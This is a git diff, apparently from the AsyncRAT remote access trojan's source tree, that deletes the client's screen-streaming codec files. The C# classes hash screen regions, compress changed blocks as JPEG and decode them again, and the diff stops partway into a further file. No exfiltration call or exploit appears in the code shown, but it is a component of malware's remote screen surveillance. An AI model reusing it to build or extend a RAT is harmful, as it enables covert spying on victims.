{ - get { return _imageQuality; } - set - { - _imageQuality = value; - lzwCompression = new LzwCompression(value); - } - } - - - public abstract event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; - public abstract event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; - - public IEncoder(int ImageQuality = 100) - { - this.ImageQuality = ImageQuality; - this.ImageProcessLock = new object(); - } - - public abstract int BufferCount { get; } - public abstract CodecOption CodecOptions { get; } - public abstract unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream); - public abstract unsafe Bitmap DecodeData(Stream inStream); - public abstract unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length); - - - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeCacheCodec.cs b/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeCacheCodec.cs deleted file mode 100644 index d48beca..0000000 --- a/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeCacheCodec.cs +++ /dev/null @@ -1,324 +0,0 @@ -using StreamLibrary.src; -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Text; - -namespace StreamLibrary.UnsafeCodecs -{ - public class UnsafeCacheCodec : IUnsafeCodec - { - private const int BlockCount = 5; - private const int HashBlockCount = 8192; - - public override ulong CachedSize - { - get { return 0; } - internal set { } - } - - public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; - public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; - - public override int BufferCount - { - get { return 0; } - } - - public override CodecOption CodecOptions - { - get { return CodecOption.HasBuffers | CodecOption.RequireSameSize; } - } - - private Bitmap decodedBitmap; - private int EncodedWidth; - private int EncodedHeight; - private PixelFormat EncodedFormat; - private MurmurHash2Unsafe hasher; - private SortedList> EncodeBuffer; - private Rectangle[] Offsets; - private BlockInfo[] EncodeHashBlocks; - private BlockInfo[] DecodeHashBlocks; - - public ulong EncodedFrames { get; private set; } - public ulong DecodedFrames { get; private set; } - - public UnsafeCacheCodec(int ImageQuality = 80) - : base(ImageQuality) - { - this.hasher = new MurmurHash2Unsafe(); - this.Offsets = new Rectangle[BlockCount]; - this.EncodeHashBlocks = new BlockInfo[HashBlockCount]; - this.DecodeHashBlocks = new BlockInfo[HashBlockCount]; - for (int i = 0; i < HashBlockCount; i++) - { - EncodeHashBlocks[i] = new BlockInfo(); - DecodeHashBlocks[i] = new BlockInfo(); - } - } - - public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream) - { - if (ImageSize.Width == 0 || ImageSize.Height == 0) - throw new ArgumentException("The width and height must be 1 or higher"); - if (ImageSize.Width < BlockCount || ImageSize.Height < BlockCount) - throw new Exception("The Image size Width/Height must be bigger then the Block Count " + BlockCount + "x" + BlockCount); - - int PixelSize = 0; - switch (Format) - { - case PixelFormat.Format24bppRgb: - PixelSize = 3; - break; - case PixelFormat.Format32bppArgb: - case PixelFormat.Format32bppPArgb: - PixelSize = 4; - break; - default: - throw new NotSupportedException(Format.ToString()); - } - - int Stride = ImageSize.Width * PixelSize; - int RawLength = Stride * ImageSize.Height; - - if (EncodedFrames == 0) - { - this.EncodedFormat = Format; - this.EncodedWidth = ImageSize.Width; - this.EncodedHeight = ImageSize.Height; - byte[] temp = null; - using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0)) - { - temp = base.jpgCompression.Compress(TmpBmp); - } - - outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); - outStream.Write(temp, 0, temp.Length); - - double size = (double)ImageSize.Width / (double)BlockCount; - - //fix floating point here - for (int i = 0, j = 0; i < BlockCount; i++, j += (int)size) - { - Offsets[i] = new Rectangle(j, 0, (int)size, 1); - } - - EncodeBuffer = new SortedList>(); - for (int y = 0; y < ImageSize.Height; y++) - { - for(int i = 0; i < Offsets.Length; i++) - { - if (!EncodeBuffer.ContainsKey(y)) - EncodeBuffer.Add(y, new SortedList()); - if (!EncodeBuffer[y].ContainsKey(Offsets[i].X)) - EncodeBuffer[y].Add(Offsets[i].X, 0); //0=hash - } - } - EncodedFrames++; - return; - } - - long oldPos = outStream.Position; - outStream.Write(new byte[4], 0, 4); - int TotalDataLength = 0; - - List ImageOffsets = new List(); - List ImageHashes = new List(); - - byte* pScan0 = (byte*)Scan0.ToInt32(); - for (int i = 0; i < Offsets.Length; i++) - { - for (int y = 0; y < ImageSize.Height; y++) - { - Rectangle ScanRect = Offsets[i]; - ScanRect.Y = y; - - int offset = (y * Stride) + (ScanRect.X * PixelSize); - - if (offset+Stride > Stride * ImageSize.Height) - break; - - uint Hash = hasher.Hash(pScan0 + offset, (int)Stride); - uint BlockOffset = Hash % HashBlockCount; - - BlockInfo blockInfo = EncodeHashBlocks[BlockOffset]; - - if (EncodeBuffer[y][ScanRect.X] != Hash) - { - if (!blockInfo.Hashes.ContainsKey(Hash)) - { - int index = ImageOffsets.Count - 1; - if (ImageOffsets.Count > 0 && ImageOffsets[index].Location.Y + 1 == ScanRect.Y) - { - Rectangle rect = ImageOffsets[index].Location; - ImageOffsets[index].Location = new Rectangle(rect.X, rect.Y, rect.Width, rect.Height + 1); - } - else - { - ImageOffsets.Add(new HashBlock(Hash, false, new Rectangle(ScanRect.X, y, ScanRect.Width, 1))); - } - - blockInfo.Hashes.Add(Hash, new HashBlock(Hash, false, new Rectangle(ScanRect.X, y, ScanRect.Width, 1))); - ImageHashes.Add(Hash); - } - EncodeBuffer[y][ScanRect.X] = Hash; - } - } - } - - if (ImageOffsets.Count > 0) - { - for (int i = 0; i < Offsets.Length; i++) - { - Rectangle TargetOffset = Offsets[i]; - int Height = GetOffsetHeight(ImageOffsets, TargetOffset); - Bitmap TmpBmp = new Bitmap(TargetOffset.Width, Height, Format); - BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat); - int blockStride = PixelSize * TargetOffset.Width; - List UsedOffsets = new List(); - - for (int j = 0; j < ImageOffsets.Count; j++) - { - Rectangle rect = ImageOffsets[j].Location; - - if (rect.Width != TargetOffset.Width || rect.X != TargetOffset.X) - continue; //error in 1440p, did not tested futher - - for (int o = 0, offset = 0; o < rect.Height; o++) - { - int blockOffset = (Stride * (rect.Y + o)) + (PixelSize * rect.X); - NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes - offset += blockStride; - UsedOffsets.Add(ImageOffsets[j]); - } - } - TmpBmp.UnlockBits(TmpData); - TmpBmp.Dispose(); - - outStream.Write(BitConverter.GetBytes((short)UsedOffsets.Count), 0, 2); - if (UsedOffsets.Count > 0) - { - outStream.Write(BitConverter.GetBytes((short)UsedOffsets[0].Location.X), 0, 2); - for (int j = 0; j < UsedOffsets.Count; j++) - { - outStream.Write(BitConverter.GetBytes((short)UsedOffsets[j].Location.Y), 0, 2); - outStream.Write(BitConverter.GetBytes((short)UsedOffsets[j].Location.Height), 0, 2); - outStream.Write(BitConverter.GetBytes(UsedOffsets[j].Hash), 0, 4); - } - byte[] CompressedImg = base.jpgCompression.Compress(TmpBmp); - outStream.Write(BitConverter.GetBytes(CompressedImg.Length), 0, 4); - outStream.Write(CompressedImg, 0, CompressedImg.Length); - } - - - //TotalDataLength += (int)length + (4 * 5); - } - } - EncodedFrames++; - } - - private int GetOffsetHeight(List ImageOffsets, Rectangle rect) - { - int height = 0; - for (int i = 0; i < ImageOffsets.Count; i++) - { - if (ImageOffsets[i].Location.Width == rect.Width && ImageOffsets[i].Location.X == rect.X) - height += ImageOffsets[i].Location.Height; - } - return height; - } - - public override Bitmap DecodeData(Stream inStream) - { - byte[] temp = new byte[4]; - inStream.Read(temp, 0, 4); - int DataSize = BitConverter.ToInt32(temp, 0); - - if (decodedBitmap == null) - { - temp = new byte[DataSize]; - inStream.Read(temp, 0, temp.Length); - this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); - return decodedBitmap; - } - //return decodedBitmap; - - List updates = new List(); - Rectangle rect; - Graphics g = Graphics.FromImage(decodedBitmap); - Bitmap tmp; - byte[] buffer = null; - MemoryStream m; - - while (DataSize > 0) - { - byte[] tempData = new byte[4 * 5]; - inStream.Read(tempData, 0, tempData.Length); - - rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4), - BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12)); - int UpdateLen = BitConverter.ToInt32(tempData, 16); - buffer = new byte[UpdateLen]; - inStream.Read(buffer, 0, buffer.Length); - - if (onDecodeDebugScan != null) - onDecodeDebugScan(rect); - - m = new MemoryStream(buffer); - tmp = (Bitmap)Image.FromStream(m); - g.DrawImage(tmp, rect.Location); - tmp.Dispose(); - - m.Close(); - m.Dispose(); - DataSize -= UpdateLen + (4 * 5); - } - g.Dispose(); - return decodedBitmap; - } - - public override unsafe System.Drawing.Bitmap DecodeData(IntPtr CodecBuffer, uint Length) - { - return null; - } - - private class BlockInfo - { - public SortedList Hashes { get; private set; } - public BlockInfo() - { - Hashes = new SortedList(); - } - } - private class HashBlock - { - public bool Cached { get; set; } - public uint Hash { get; set; } - public Rectangle Location { get; set; } - - public HashBlock(uint Hash, bool Cached, Rectangle Location) - { - this.Hash = Hash; - this.Cached = Cached; - this.Location = Location; - } - public HashBlock() - { - - } - } - private class ImageOffset - { - public Rectangle Location { get; set; } - public List Hashes { get; set; } - - public ImageOffset() - { - this.Hashes = new List(); - } - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeCachedStreamCodec.cs b/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeCachedStreamCodec.cs deleted file mode 100644 index 450d4fc..0000000 --- a/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeCachedStreamCodec.cs +++ /dev/null @@ -1,308 +0,0 @@ -using StreamLibrary.src; -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Text; - -namespace StreamLibrary.UnsafeCodecs -{ - public class UnsafeCachedStreamCodec : IUnsafeCodec - { - public override ulong CachedSize - { - get; - internal set; - } - - public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; - public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; - - public override int BufferCount - { - get { return 0; } - } - - public override CodecOption CodecOptions - { - get { return CodecOption.HasBuffers; } - } - - private PixelFormat EncodedFormat; - private int EncodedWidth; - private int EncodedHeight; - private static Size CheckBlock = new Size(50, 50); - private MurmurHash2Unsafe Hasher = new MurmurHash2Unsafe(); - private List Frames = new List(); - public const int MAX_FRAMES = 120; - - private ulong[] DecodeBuffer; - private Bitmap DecodedBitmap; - private List DecodedFrames = new List(); - - public UnsafeCachedStreamCodec(int ImageQuality) - : base(ImageQuality) - { - - } - - public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream) - { - byte* pScan0 = (byte*)Scan0.ToInt32(); - if (!outStream.CanWrite) - throw new Exception("Must have access to Write in the Stream"); - - int Stride = 0; - int RawLength = 0; - int PixelSize = 0; - - switch (Format) - { - case PixelFormat.Format24bppRgb: - PixelSize = 3; - break; - case PixelFormat.Format32bppArgb: - case PixelFormat.Format32bppPArgb: - PixelSize = 4; - break; - default: - throw new NotSupportedException(Format.ToString()); - } - - Stride = ImageSize.Width * PixelSize; - RawLength = Stride * ImageSize.Height; - - if (EncodedWidth == 0 && EncodedHeight == 0) - { - this.EncodedFormat = Format; - this.EncodedWidth = ImageSize.Width; - this.EncodedHeight = ImageSize.Height; - - byte[] temp = null; - using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0)) - { - temp = base.jpgCompression.Compress(TmpBmp); - } - outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); - outStream.Write(temp, 0, temp.Length); - return; - } - - Frame frame = new Frame(ImageSize.Width, ImageSize.Height); - - int Blocks = (ScanArea.Width / CheckBlock.Width) * (ScanArea.Height / CheckBlock.Height); - int RawSizeUsed = 0; - - long oldPos = outStream.Position; - outStream.Write(new byte[4], 0, 4); - int TotalDataLength = 0; - List ChangedBlocks = new List(); - - for(int y = ScanArea.Y; y < ScanArea.Height; ) - { - int height = y + CheckBlock.Height < ScanArea.Height ? CheckBlock.Height : ScanArea.Height - y; - for (int x = ScanArea.X; x < ScanArea.Width; ) - { - int width = x + CheckBlock.Width < ScanArea.Width ? CheckBlock.Width : ScanArea.Width - x; - int BlockStride = Format == PixelFormat.Format24bppRgb ? width * 3 : width * 4; - decimal FinalHash = 0; - - for (int h = 0; h < height; h++) - { - int Offset = FastBitmap.CalcImageOffset(x, y+h, Format, ImageSize.Width); - FinalHash += Hasher.Hash(pScan0 + Offset, BlockStride); - } - - if(onCodeDebugScan != null) - onCodeDebugScan(new Rectangle(x, y, width, height)); - - bool FoundBlock = false; - decimal FoundHash = 0; - int FrameIndex = 0; - for (int i = 0; i < Frames.Count; i++) - { - decimal hash = Frames[i].GetHashBlock(x, y); - if (hash == FinalHash) - { - FrameIndex = i; - FoundBlock = true; - FoundHash = hash; - break; - } - } - - frame.AddHashBlock(x, y, FinalHash); - - if (!FoundBlock) - { - int index = ChangedBlocks.Count - 1; - Rectangle cBlock = new Rectangle(x, y, width, height); - - if (ChangedBlocks.Count > 0 && (ChangedBlocks[index].X + ChangedBlocks[index].Width) == cBlock.X) - { - Rectangle rect = ChangedBlocks[index]; - int newWidth = cBlock.Width + rect.Width; - cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height); - ChangedBlocks[index] = cBlock; - } - /*else if (ChangedBlocks.Count > 0 && (ChangedBlocks[index].Y + ChangedBlocks[index].Height) == cBlock.Y) - { - Rectangle rect = ChangedBlocks[index]; - int newHeight = cBlock.Height + rect.Height; - cBlock = new Rectangle(rect.X, rect.Y, rect.Width, newHeight); - ChangedBlocks[index] = cBlock; - }*/ - else - { - ChangedBlocks.Add(cBlock); - } - RawSizeUsed += BlockStride * height; - } - x += width; - } - y += height; - } - - //write all the blocks - for (int i = 0; i < ChangedBlocks.Count; i++) - { - Rectangle rect = ChangedBlocks[i]; - int blockStride = PixelSize * rect.Width; - - Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format); - BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat); - for (int j = 0, offset = 0; j < rect.Height; j++) - { - int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X); - NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes - offset += blockStride; - } - TmpBmp.UnlockBits(TmpData); - - outStream.Write(BitConverter.GetBytes(rect.X), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4); - outStream.Write(new byte[4], 0, 4); - - long length = outStream.Position; - long OldPos = outStream.Position; - base.jpgCompression.Compress(TmpBmp, ref outStream); - length = outStream.Position - length; - - outStream.Position = OldPos - 4; - outStream.Write(BitConverter.GetBytes((int)length), 0, 4); - outStream.Position += length; - - TmpBmp.Dispose(); - TotalDataLength += (int)length + (4 * 5); - } - outStream.Position = oldPos; - outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4); - ChangedBlocks.Clear(); - - Frames.Add(frame); - if (Frames.Count > MAX_FRAMES) - Frames.RemoveAt(0); - } - - public override unsafe System.Drawing.Bitmap DecodeData(System.IO.Stream inStream) - { - byte[] temp = new byte[4]; - inStream.Read(temp, 0, 4); - int DataSize = BitConverter.ToInt32(temp, 0); - - if (DecodedBitmap == null) - { - temp = new byte[DataSize]; - inStream.Read(temp, 0, temp.Length); - this.DecodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); - DecodedFrames.Add(DecodedBitmap); - return DecodedBitmap; - } - - Rectangle rect; - Graphics g = Graphics.FromImage(DecodedBitmap); - Bitmap tmp; - byte[] buffer = null; - MemoryStream m; - - while (DataSize > 0) - { - byte[] tempData = new byte[4 * 5]; - inStream.Read(tempData, 0, tempData.Length); - - rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4), - BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12)); - int UpdateLen = BitConverter.ToInt32(tempData, 16); - buffer = new byte[UpdateLen]; - inStream.Read(buffer, 0, buffer.Length); - - if (onDecodeDebugScan != null) - onDecodeDebugScan(rect); - - m = new MemoryStream(buffer); - tmp = (Bitmap)Image.FromStream(m); - g.DrawImage(tmp, rect.Location); - tmp.Dispose(); - - m.Close(); - m.Dispose(); - DataSize -= UpdateLen + (4 * 5); - } - g.Dispose(); - return DecodedBitmap; - } - - public override unsafe System.Drawing.Bitmap DecodeData(IntPtr CodecBuffer, uint Length) - { - return new Bitmap(10, 10); - } - - private class HashedBlock - { - public int X { get; private set; } - public int Y { get; private set; } - public int Width { get; private set; } - public int Height { get; private set; } - public int FrameIndex { get; private set; } - public HashedBlock(int x, int y, int width, int height, int FrameIndex) - { - this.X = x; - this.Y = y; - this.Width = width; - this.Height = height; - this.FrameIndex = FrameIndex; - } - - public override string ToString() - { - return "X:" + X + ", Y:" + Y + ", Width:" + Width + ", Height:" + Height + ", FrameIndex:" + FrameIndex; - } - } - - private class Frame - { - public decimal[,] HashBlocks { get; private set; } - - public Frame(int ImageWidth, int ImageHeight) - { - this.HashBlocks = new decimal[(ImageWidth / UnsafeCachedStreamCodec.CheckBlock.Width) + 2, (ImageHeight / UnsafeCachedStreamCodec.CheckBlock.Height) + 2]; - } - - public void AddHashBlock(int x, int y, decimal Hash) - { - x = x / UnsafeCachedStreamCodec.CheckBlock.Width; - y = y / UnsafeCachedStreamCodec.CheckBlock.Height; - this.HashBlocks[x, y] = Hash; - } - public decimal GetHashBlock(int x, int y) - { - x = x / UnsafeCachedStreamCodec.CheckBlock.Width; - y = y / UnsafeCachedStreamCodec.CheckBlock.Height; - return this.HashBlocks[x, y]; - } - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeMiniCodec.cs b/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeMiniCodec.cs deleted file mode 100644 index b4b0b8c..0000000 --- a/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeMiniCodec.cs +++ /dev/null @@ -1,365 +0,0 @@ -using StreamLibrary.src; -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Text; - -namespace StreamLibrary.UnsafeCodecs -{ - public class UnsafeMiniCodec : IUnsafeCodec - { - public override ulong CachedSize - { - get; - internal set; - } - - public override event IVideoCodec.VideoDebugScanningDelegate onCodeDebugScan; - public override event IVideoCodec.VideoDebugScanningDelegate onDecodeDebugScan; - - public override int BufferCount - { - get { return 1; } - } - - public override CodecOption CodecOptions - { - get { return CodecOption.AutoDispose | CodecOption.RequireSameSize; } - } - - private PixelFormat EncodedFormat; - private int EncodedWidth; - private int EncodedHeight; - private byte[] EncodeBuffer; - private Bitmap decodedBitmap; - - private Size CheckBlock { get { return new Size(50, 50); } } - - public UnsafeMiniCodec(int ImageQuality = 100) - : base(ImageQuality) - { - - } - - public override unsafe void CodeImage(IntPtr Scan0, Rectangle ScanArea, Size ImageSize, PixelFormat Format, Stream outStream) - { - lock (this.ImageProcessLock) - { - byte* pScan0 = (byte*)Scan0.ToInt32(); - if (!outStream.CanWrite) - throw new Exception("Must have access to Write in the Stream"); - - int Stride = 0; - int RawLength = 0; - int PixelSize = 0; - - FastBitmap.CalcImageOffset(0, 0, Format, ScanArea.Width); //check for FastBitmap Support - switch (Format) - { - case PixelFormat.Format24bppRgb: - case PixelFormat.Format32bppRgb: - PixelSize = 3; - break; - case PixelFormat.Format32bppArgb: - case PixelFormat.Format32bppPArgb: - PixelSize = 4; - break; - default: - throw new NotSupportedException(Format + " is not supported."); - } - - Stride = ImageSize.Width * PixelSize; - RawLength = Stride * ImageSize.Height; - - //first frame - if (EncodeBuffer == null) - { - this.EncodedFormat = Format; - this.EncodedWidth = ImageSize.Width; - this.EncodedHeight = ImageSize.Height; - this.EncodeBuffer = new byte[RawLength]; - fixed (byte* ptr = EncodeBuffer) - { - byte[] temp = null; - using (Bitmap TmpBmp = new Bitmap(ImageSize.Width, ImageSize.Height, Stride, Format, Scan0)) - { - temp = base.jpgCompression.Compress(TmpBmp); - } - - outStream.Write(BitConverter.GetBytes(temp.Length), 0, 4); - outStream.Write(temp, 0, temp.Length); - NativeMethods.memcpy(new IntPtr(ptr), Scan0, (uint)RawLength); - } - return; - } - - if (this.EncodedFormat != Format) - throw new Exception("PixelFormat is not equal to previous Bitmap"); - if (this.EncodedWidth != ImageSize.Width || this.EncodedHeight != ImageSize.Height) - throw new Exception("Bitmap width/height are not equal to previous bitmap"); - if (ScanArea.Width > ImageSize.Width || ImageSize.Height > this.EncodedHeight) - throw new Exception("Scan Area Width/Height cannot be greater then the encoded image"); - - - List Blocks = new List(); //all the changes - fixed (byte* encBuffer = EncodeBuffer) - { - //1. Check for the changes in height - for (int y = ScanArea.Y; y < ScanArea.Height; y++) - { - Rectangle cBlock = new Rectangle(0, y, ImageSize.Width, 1); - - if (onCodeDebugScan != null) - onCodeDebugScan(cBlock); - - int Offset = FastBitmap.CalcImageOffset(0, y, Format, ImageSize.Width); - if (NativeMethods.memcmp(encBuffer + Offset, pScan0 + Offset, (uint)Stride) != 0) - { - int index = Blocks.Count - 1; - if (Blocks.Count != 0 && (Blocks[index].Y + Blocks[index].Height) == cBlock.Y) - { - cBlock = new Rectangle(Blocks[index].X, Blocks[index].Y, Blocks[index].Width, Blocks[index].Height + cBlock.Height); - Blocks[index] = cBlock; - } - else - { - Blocks.Add(cBlock); - } - } - } - - //2. Capture all the changes using the CheckBlock - List finalUpdates = new List(); - for (int i = 0; i < Blocks.Count; i++) - { - Rectangle scanBlock = Blocks[i]; - - //go through the Blocks - for (int y = scanBlock.Y; y < scanBlock.Height; y += CheckBlock.Height) - { - for (int x = scanBlock.X; x < scanBlock.Width; x += CheckBlock.Width) - { - int blockWidth = x + CheckBlock.Width < scanBlock.Width ? CheckBlock.Width : scanBlock.Width - x; - int blockHeight = y + CheckBlock.Height < scanBlock.Height ? CheckBlock.Height : scanBlock.Height - y; - Rectangle cBlock = new Rectangle(x, y, blockWidth, blockHeight); - - if (onCodeDebugScan != null) - onCodeDebugScan(cBlock); - - //scan the block from Top To Bottom and check for changes - bool FoundChanges = false; - for (int blockY = y; blockY < y + blockHeight; blockY++) - { - int Offset = FastBitmap.CalcImageOffset(x, blockY, Format, blockWidth); - if (NativeMethods.memcmp(encBuffer + Offset, pScan0 + Offset, (uint)Stride) != 0) - { - FoundChanges = true; - break; - } - } - - if (FoundChanges) - { - int index = finalUpdates.Count - 1; - if (finalUpdates.Count > 0 && (finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X) - { - Rectangle rect = finalUpdates[index]; - int newWidth = cBlock.Width + rect.Width; - cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height); - finalUpdates[index] = cBlock; - } - else - { - finalUpdates.Add(cBlock); - } - } - } - } - } - - //maybe a too hard algorithm but oh well - SortedList> Array = finalUpdates.ToArray().RectanglesTo2D().Rectangle2DToRows(); - List FinalTemp = new List(); - - for (int i = 0; i < Array.Values.Count; i++) - { - FinalTemp.AddRange(Array.Values[i].Values); - } - - //fixup the height - for (int i = 0; i < FinalTemp.Count; ) - { - if (FinalTemp.Count == 1) - { - FinalTemp.Add(FinalTemp[i]); - break; - } - - if (i + 1 < FinalTemp.Count) - { - Rectangle curRect = FinalTemp[i]; - Rectangle nextRect = FinalTemp[i + 1]; - if ((curRect.Y + curRect.Height) == nextRect.Y && curRect.Width == nextRect.Width) - { - FinalTemp[i] = new Rectangle(curRect.X, curRect.Y, curRect.Width, curRect.Height + curRect.Height); - FinalTemp.RemoveAt(i + 1); - } - else - { - i++; - } - } - else - { - break; - } - } - - //copy changes to the EncodeBuffer and Process the Output - long oldPos = outStream.Position; - outStream.Write(new byte[4], 0, 4); - int TotalDataLength = 0; - - for (int i = 0; i < FinalTemp.Count; i++) - { - Rectangle rect = FinalTemp[i]; - int blockStride = PixelSize * rect.Width; - - //copy changes to EncodeBuffer - for (int y = rect.Y; y < rect.Y + rect.Height; y++) - { - int Offset = FastBitmap.CalcImageOffset(rect.X, y, Format, rect.Width); - NativeMethods.memcpy(encBuffer + Offset, pScan0 + Offset, (uint)blockStride); //copy-changes - } - - Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, Format); - BitmapData TmpData = TmpBmp.LockBits(new Rectangle(0, 0, TmpBmp.Width, TmpBmp.Height), ImageLockMode.ReadWrite, TmpBmp.PixelFormat); - for (int j = 0, offset = 0; j < rect.Height; j++) - { - int blockOffset = (Stride * (rect.Y + j)) + (PixelSize * rect.X); - NativeMethods.memcpy((byte*)TmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint)blockStride); //copy-changes - offset += blockStride; - } - TmpBmp.UnlockBits(TmpData); - - outStream.Write(BitConverter.GetBytes(rect.X), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4); - outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4); - outStream.Write(new byte[4], 0, 4); - - long length = outStream.Position; - long OldPos = outStream.Position; - base.jpgCompression.Compress(TmpBmp, ref outStream); - length = outStream.Position - length; - - outStream.Position = OldPos - 4; - outStream.Write(BitConverter.GetBytes((int)length), 0, 4); - outStream.Position += length; - TmpBmp.Dispose(); - TotalDataLength += (int)length + (4 * 5); - } - - outStream.Position = oldPos; - outStream.Write(BitConverter.GetBytes(TotalDataLength), 0, 4); - Blocks.Clear(); - } - } - } - - public override unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length) - { - if (Length < 4) - return decodedBitmap; - - int DataSize = *(int*)(CodecBuffer); - if (decodedBitmap == null) - { - byte[] temp = new byte[DataSize]; - fixed (byte* tempPtr = temp) - { - NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)DataSize); - } - - this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); - return decodedBitmap; - } - - byte* bufferPtr = (byte*)CodecBuffer.ToInt32(); - if (DataSize > 0) - { - Graphics g = Graphics.FromImage(decodedBitmap); - for (int i = 4; DataSize > 0; ) - { - Rectangle rect = new Rectangle(*(int*)(bufferPtr + i), *(int*)(bufferPtr + i + 4), - *(int*)(bufferPtr + i + 8), *(int*)(bufferPtr + i + 12)); - int UpdateLen = *(int*)(bufferPtr + i + 16); - byte[] temp = new byte[UpdateLen]; - - fixed (byte* tempPtr = temp) - { - NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + i + 20), (uint)UpdateLen); - using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * 3, decodedBitmap.PixelFormat, new IntPtr(tempPtr))) - { - g.DrawImage(TmpBmp, new Point(rect.X, rect.Y)); - } - } - DataSize -= UpdateLen + (4 * 5); - i += UpdateLen + (4 * 5); - } - g.Dispose(); - } - return decodedBitmap; - } - - public override Bitmap DecodeData(Stream inStream) - { - byte[] temp = new byte[4]; - inStream.Read(temp, 0, 4); - int DataSize = BitConverter.ToInt32(temp, 0); - - if (decodedBitmap == null) - { - temp = new byte[DataSize]; - inStream.Read(temp, 0, temp.Length); - this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp)); - return decodedBitmap; - } - - List updates = new List(); - Rectangle rect; - Graphics g = Graphics.FromImage(decodedBitmap); - Bitmap tmp; - byte[] buffer = null; - MemoryStream m; - - while (DataSize > 0) - { - byte[] tempData = new byte[4 * 5]; - inStream.Read(tempData, 0, tempData.Length); - - rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4), - BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12)); - int UpdateLen = BitConverter.ToInt32(tempData, 16); - buffer = new byte[UpdateLen]; - inStream.Read(buffer, 0, buffer.Length); - - if (onDecodeDebugScan != null) - onDecodeDebugScan(rect); - - m = new MemoryStream(buffer); - tmp = (Bitmap)Image.FromStream(m); - g.DrawImage(tmp, rect.Location); - tmp.Dispose(); - - m.Close(); - m.Dispose(); - DataSize -= UpdateLen + (4 * 5); - } - g.Dispose(); - return decodedBitmap; - } - } -} \ No newline at end of file diff --git a/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeOptimizedCodec.cs b/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeOptimizedCodec.cs deleted file mode 100644 index e4df368..0000000 --- a/AsyncRAT-C#/Client/StreamLibrary/UnsafeCodecs/UnsafeOptimizedCodec.cs +++ /dev/null @@ -1,473 +0,0 @@ -using StreamLibrary.src; -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Text; - -namespace StreamLibrary.UnsafeCodecs -{ - public class UnsafeOptimizedCodec : IUnsafeCodec - { - private class PopulairPoint - { - public 